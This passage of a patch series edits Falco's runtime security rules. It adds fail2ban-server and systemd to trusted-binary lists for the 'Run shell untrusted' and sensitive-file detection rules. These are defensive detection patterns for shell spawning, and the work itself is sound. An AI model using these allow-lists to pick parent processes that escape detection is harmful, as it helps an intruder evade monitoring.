shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco, fail2ban-server) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From 39e9043ac77dc83a0617128842e00df7c2a7fe30 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 14 Dec 2016 18:28:37 -0800 Subject: [PATCH 61/63] Revert "Add fail2ban-server as spawn shell trusted binary" --- rules/falco_rules.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 5a050024..2ae9b8b9 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -282,7 +282,7 @@ - rule: Run shell untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. - condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco, fail2ban-server) + condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From 2bad529d3334fc0e11d69bfd9750a8ff28e9353b Mon Sep 17 00:00:00 2001 From: Jonathan Coetzee Date: Fri, 16 Dec 2016 11:09:45 +0200 Subject: [PATCH 62/63] Add fail2ban-server as trusted binary fail2ban spawns shells to modify iptables falco-CLA-1.0-signed-off-by: Jonathan Coetzee --- rules/falco_rules.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 2ae9b8b9..5a050024 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -282,7 +282,7 @@ - rule: Run shell untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. - condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco) + condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco, fail2ban-server) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From 64ecd157fdd446919c8ba5bd0c428f535c413ead Mon Sep 17 00:00:00 2001 From: Jonathan Coetzee Date: Fri, 16 Dec 2016 11:27:43 +0200 Subject: [PATCH 63/63] Add systemd as a login binary SSH'ing into an Ubuntu 16.04 box triggers a bunch of "Sensitive file opened for reading by non-trusted program" errors caused by systemd falco-CLA-1.0-signed-off-by: Jonathan Coetzee jon@thancoetzee.com --- rules/falco_rules.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 2ae9b8b9..e82a3009 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -76,7 +76,7 @@ # dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" "," - list: login_binaries - items: [login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg] + items: [login, systemd, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg] # dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" "," - list: passwd_binaries